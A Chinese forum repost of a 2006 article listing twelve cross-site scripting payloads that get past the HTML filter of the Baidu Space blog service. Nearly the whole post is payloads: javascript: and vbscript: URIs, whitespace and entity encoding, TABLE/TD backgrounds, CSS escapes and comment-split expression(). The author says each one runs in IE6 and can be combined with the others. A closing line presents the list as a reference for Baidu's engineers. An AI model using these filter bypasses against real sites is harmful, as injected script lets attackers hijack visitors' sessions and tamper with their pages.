发新话题
打印

百度空间发表带脚本文章的12招

百度空间发表带脚本文章的12招

复制内容到剪贴板
代码:
百度空间发表带脚本文章的12招2006-08-22 13:34    百度空间的发文模块过滤了很多HTML标签,目的就是防止脚本执行。但就目前的情况来看,百度的工作做得还远远不够。下面我举些避开百度过滤的例子。

首先是Monyer的办法,利用IMG标签SRC属性嵌入脚本。这种办法公开已经有几天时间了,目前还没有被封:
(1) <IMG SRC="javascript:alert('XSS');">

如果你是vbs爱好者,也可以这样用:
(2) <IMG SRC='vbscript:msgbox("XSS")'>

如果百度过滤了SRC里面的"javascript","vbscript",可以尝试在关键字中间嵌入white space字符逃避过滤:
(3) <IMG SRC="jav&#x09;ascript:alert('XSS');" >
(4) <IMG SRC="jav&#x0A;ascript:alert('XSS');" >
(5) <IMG SRC="jav&#x0D;ascript:alert('XSS');" >

如果百度再把white space字符都过滤的话,可以用多种形式的转义编码来逃避过滤:
(6) <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
(7) <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
(8) <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

除了IMG可以利用,TABLE和TD标签也可以用来嵌入脚本:
(9) <TABLE BACKGROUND="javascript:alert('XSS')">
(10) <TABLE><TD BACKGROUND="javascript:alert('XSS')">

百度已经过滤了STYLE属性里面的"javascript"等关键字,但编码后可以逃避过滤:
(11) <DIV STYLE="background-image:\0075\0072\006C\0028\006A\0061\0076\0061\0073\0063\0072\0069\0070\0074\003A\0061\006C\0065\0072\0074\0028\0027\0058\0053\0053\0027\0029\0029">

在关键字中间嵌入注释字串,可以逃避过滤:
(12) <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">

    目前,上面列出的12个例子都可以做到脚本执行(至少保证在IE6下没问题)。借助百度发帖助手,我们很容易在文章中嵌入这样的HTML标签。当然这只是一些思路,或者入手点,12个例子之间有些是可以彼此配合使用的,通过组合搭配,我们可以得到几十种甚至更多嵌入脚本的方法。
    防止脚本注入历来都是件困难的事情,而对于当前的百度空间来说,脚本注入就意味着XSS攻击,又不得不防。愿本文也能够为百度空间的工程师们提供些参考,完善这个blog系统。
烟台,加油!

TOP

发新话题